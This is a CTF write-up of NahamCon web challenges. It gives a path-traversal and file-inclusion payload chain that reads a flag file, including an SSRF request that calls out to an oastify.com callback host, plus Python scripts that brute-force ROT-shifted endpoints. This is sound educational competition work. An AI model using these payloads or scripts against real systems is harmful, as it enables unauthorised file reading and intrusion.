Writeups NahamCon CTF -- Harder Web Challenges
NahamCon CTF
I fought in this war on team Onlyfeet, which I’m a part of. Yeah, I’m cool I promise. Here’s some writeups, have fun.
Outcast
This challenge was solved as a team effort with Tib3rius and 0xm1rch.
Outcast is a web challenge provided by YesWeHack with an interesting twist - it’s designed to be run as a black-box environment with no source code provided. The challenge allows light enumeration and features a non-standard flag format using l33tsp3@k inside the flag{} wrapper.
Challenge Overview
YesWeHack states: “This challenge is meant to be run as a black-box environment. The source code is intentionally not provided.”
Important Note: The flag for this challenge is not in the standard format. The flag uses flag{}
wrapper but contains l33tsp3@k! inside the curly braces.
Light enumeration is permitted for this challenge.
Initial Reconnaissance
During our initial exploration of the application, we discovered several endpoints:
/
- Home page/login
- Dashboard/login functionality/info
- Information page
Hidden Endpoint Discovery
On the /info
page, inspecting the source code revealed a commented-out endpoint that “should not be accessible”:
<div class="hidden sm:ml-6 sm:block">
<div class="flex space-x-4">
<a href="/" class="rounded-md bg-red-700 px-3 py-2 text-sm font-medium text-white hover:bg-red-500 hover:scale-110">Home</a>
<a href="/login" class="rounded-md bg-red-700 px-3 py-2 text-sm font-medium text-white hover:bg-red-500 hover:scale-110">Dashboard</a>
<a href="/info" class="rounded-md bg-red-700 px-3 py-2 text-sm font-medium text-white hover:bg-red-500 hover:scale-110">Info</a>
<!-- note: should not be accessable -->
<!-- <a href="/test" class="rounded-md px-3 py-2 text-sm font-medium text-gray-300 hover:bg-gray-700 hover:text-white">Test</a> -->
</div>
</div>
This revealed the existence of a /test
endpoint that was hidden from the main navigation.
Exploring the /test Endpoint
Accessing the /test
endpoint revealed functionality that appeared to be some kind of API caller or request handler. Through testing and experimentation, we discovered we could send multipart form data with specific parameters.
Initial Exploitation Attempt
Our first attempt involved trying to exploit what appeared to be a Server-Side Request Forgery (SSRF) vulnerability. We crafted a request with the following payload:
------WebKitFormBoundaryr5p1zI5sws0O9r7B
Content-Disposition: form-data; name="userid"
@/tmp/../flag.txt
------WebKitFormBoundaryr5p1zI5sws0O9r7B
Content-Disposition: form-data; name="method"
../login
------WebKitFormBoundaryr5p1zI5sws0O9r7B
Content-Disposition: form-data; name="parameters"
$this->url=http://e3ijv6uyn2zgtrtxwpevakr7xy3prlfa.oastify.com
------WebKitFormBoundaryr5p1zI5sws0O9r7B--
This generated an interesting error message that revealed internal application structure:
Fatal error: Uncaught Exception: URL using bad/illegal format or missing URL in /var/www/html/modules/apicaller.php:45
Stack trace:
#0 /var/www/html/test/index.php(16): APICaller->__call('../login ', Array, $this->url: 'http://e3ijv6uy...')
#1 {main}
thrown in /var/www/html/modules/apicaller.php on line 45
Understanding the Application Architecture
From the error message, we learned:
- The application uses an
APICaller
class in/var/www/html/modules/apicaller.php
- The
/test
endpoint can call other methods/endpoints - There’s a private
$url
variable that we couldn’t directly modify - Path traversal was possible in the
method
parameter
The Breakthrough: Parameter Reflection
Since we couldn’t exfiltrate the flag via HTTP requests due to the private $url
variable restriction, we looked for ways to reflect the flag value in HTTP responses. We discovered that the /login
endpoint reflects the username parameter in the HTML response.
Final Exploitation
Our winning strategy involved chaining multiple vulnerabilities:
- Path Traversal: Use
../login/
in the method parameter to access the login endpoint - File Inclusion: Use
@/tmp/../flag.txt
as the username value to read the flag file - Parameter Reflection: The login endpoint reflects the username in the response
Finl Request Payload:
------WebKitFormBoundaryr5p1zI5sws0O9r7B
Content-Disposition: form-data; name="userid"
admin
------WebKitFormBoundaryr5p1zI5sws0O9r7B
Content-Disposition: form-data; name="method"
../login/
------WebKitFormBoundaryr5p1zI5sws0O9r7B
Content-Disposition: form-data; name="parameters"
username=@/tmp/../flag.txt
------WebKitFormBoundaryr5p1zI5sws0O9r7B--
Success!
The response revealed the flag reflected in the username field:
<div class="mt-2">
<input
type="text"
name="username"
id="username"
value="FLAG{ch41ning_bug$_1s_W0nd3rful!}"
required
/>
</div>
Flag: FLAG{ch41ning_bug$_1s_W0nd3rful!}
Key Takeaways
Written with AI Support
This challenge demonstrated several important concepts:
- Black-box Testing: Working without source code and relying on enumeration and error messages
- Information Disclosure: Using error messages to understand application architecture
- Vulnerability Chaining: Combining path traversal, file inclusion, and parameter reflection
- Alternative Exploitation Methods: When direct exfiltration isn’t possible, finding creative ways to reflect data
- Hidden Endpoint Discovery: The importance of thorough source code inspection during reconnaissance
The challenge name “Outcast” was fitting - we had to think outside the box and chain multiple seemingly minor vulnerabilities to achieve our goal. The collaboration between team members was crucial in identifying the reflection mechanism that made the final exploitation possible.
My First CTF, My Second CTF, and My Third CTF
The initial introspection was a collaborative effort with piratemoo and Tib3rius.
These three challenges - My First CTF, My Second CTF, and My Third CTF - formed a series that initially appeared to be steganography challenges but turned out to be enumeration challenges with a twist involving Caesar ciphers.
Challenge Overview
The organizers provided us with a wordlist to use for these challenges. All three challenges presented the same basic structure:
- A simple webpage with a single JPG image called
rotten.jpg
- The image itself contained no useful steganographic data
- The real challenge was in directory enumeration with Caesar cipher variations
Initial Analysis
The Rotten Image
Each challenge displayed a single image file called rotten.jpg
. Our first instinct was to analyze this image for hidden data using various steganography techniques.
Using exiftool
on the image revealed interesting metadata, highlights being:
Profile CMM Type : Apple Computer Inc.
Profile Version : 2.1.0
This “Apple Computer Inc.” artifact initially seemed like it might be a clue (apples being rotten), but it turned out to be a red herring that led us down the wrong path initially.
The Flag.txt Red Herring
Navigating to /flag.txt
on each challenge gave us a taunting “Ha, you wish!” response. We unfortunately spent less time than we should have thinking about this, thinking it was just a troll.
The Breakthrough: ROT Cipher Connection
The key insight came when we connected the challenge name theme with the image name:
- rotten → “rot” + “ten” → ROT10
This led us to realize that the challenges might involve Caesar cipher variations (ROT ciphers) applied to directory/file enumeration.
Solution Approach
After trying various steganography techniques and reverse engineering approaches on the image, we discovered that these were actually enumeration challenges. The twist was that the valid endpoints were Caesar cipher variations of common directory/file names.
All three challenges followed the same pattern but used different Caesar cipher shifts.
Automated Solution Script
I developed a Python script to automate the solution process. The script evolved over time as I solved each challenge, and wanted things to go faster. After a lot of playing around, here is what I came up with, both initially and at the end:
Initial Script Version (Solved “My First CTF”)
import requests
import urllib.parse
def rot_encrypt(text, s):
"""
Encrypts or decrypts text using the Caesar cipher (ROT).
Args:
text (str): The input string to be processed.
s (int): The shift value (0-25).
Returns:
str: The rotated string.
"""
result = ""
for char in text:
if 'A' <= char <= 'Z': # Check for uppercase letters
# Apply shift for uppercase letters
result += chr(((ord(char) - ord('A') + s) % 26) + ord('A'))
elif 'a' <= char <= 'z': # Check for lowercase letters
# Apply shift for lowercase letters
result += chr(((ord(char) - ord('a') + s) % 26) + ord('a'))
else:
result += char # Keep non-alphabetic characters as they are
return result
def fetch_and_rot_path_and_content(base_url, original_custom_path, headers=None):
print(f"Starting ROT brute-force on path '{original_custom_path}' for base URL: {base_url}")
if headers:
print("Using custom headers.")
for s in range(26):
rotated_path = rot_encrypt(original_custom_path, s) + ".jpg"
# NOTE: Comment out .jpg if you want to test the path without the file extension.
full_url = urllib.parse.urljoin(base_url, rotated_path)
print(f"\n--- ROT {s:02d} ---")
print(f"Requesting URL: {full_url}")
print('loop!')
response = requests.get(full_url, headers=headers, timeout=10)
print(f"Response status code: {response.status_code}")
if __name__ == "__main__":
base_url = 'http://challenge.nahamcon.com:31412/'
print("Enter the custom path to ROTate and append (e.g., 'ebggra'):")
original_custom_path_input = input()
custom_headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'DNT': '1',
'Sec-GPC': '1',
'Priority': 'u=0, i'
}
fetch_and_rot_path_and_content(base_url, original_custom_path_input, custom_headers)
Final Optimized Script (Solved “My First CTF”, “My Second CTF”, and “My Third CTF”)
import requests
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
def rot_encrypt(text, s):
result = ""
for char in text:
if 'a' <= char <= 'z': # Check for lowercase letters
# Apply shift for lowercase letters
result += chr(((ord(char) - ord('a') + s) % 26) + ord('a'))
else:
result += char # Keep non-alphabetic characters as they are
return result
def _fetch_single_rot_url(base_url, original_custom_path, s, headers=None):
rotated_path = rot_encrypt(original_custom_path, s)
full_url = urllib.parse.urljoin(base_url, rotated_path)
response = requests.get(full_url, headers=headers, timeout=10)
return s, full_url, response
def fetch_and_rot_path_and_content(base_url, original_custom_path, headers=None):
print(f"Starting ROT brute-force on path '{original_custom_path}' for base URL: {base_url}")
if headers:
print("Using custom headers.")
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(_fetch_single_rot_url, base_url, original_custom_path, s, headers): s for s in range(26)}
for future in as_completed(futures):
s, full_url, response = future.result()
if response.status_code == 404:
continue
# If not 404, match found
print(f"\n--- ROT {s:02d} ---")
print(f"Requesting URL: {full_url}")
print("Response status code: 200 OK") # Keep orig
print("Response content:")
print(response.text)
exit(0) # first non-404 response
if __name__ == "__main__":
base_url = 'http://challenge.nahamcon.com:32751/'
print("wordlist path:")
wordlist_file_path = input()
with open(wordlist_file_path, 'r') as f:
for line_num, line in enumerate(f, 1):
original_path = line.strip()
if original_path:
print(f"\n--- Processing entry {line_num}: '{original_path}' from wordlist ---")
fetch_and_rot_path_and_content(base_url, original_path)
How It Worked
Written with AI Support
The script automated the following process:
- Wordlist Processing: Read each entry from the provided wordlist
- ROT Cipher Generation: For each wordlist entry, generate all 26 possible Caesar cipher variations (ROT0 through ROT25)
- Concurrent Testing: Use threading to test all 26 variations simultaneously for faster execution
- Success Detection: Stop and display results when a non-404 response is found
Success!
The script successfully solved all three challenges by finding the correct Caesar cipher shifts for the hidden endpoints:
Key Takeaways
Written with AI Support
These challenges taught us several important lessons:
- Don’t Over-Complicate: Sometimes the simplest explanation is correct - these weren’t complex steganography challenges
- Pattern Recognition: The “rotten” → “ROT” connection was the key insight
- Automation is Key: Writing scripts to automate repetitive tasks (like testing 26 cipher variations) saves significant time
- Red Herrings: The Apple Computer Inc. metadata and /flag.txt responses were intentional distractions
- Collaboration: Working as a team allowed us to bounce ideas off each other and avoid getting stuck in tunnel vision
The progression from My First CTF to My Third CTF demonstrated how the same core concept could be applied with different parameters, and how building reusable automation tools can make solving similar challenges much more efficient.
These challenges were a fun introduction to Caesar ciphers in the context of web enumeration, and showed how classic cryptographic concepts can be applied in unexpected ways during CTF competitions.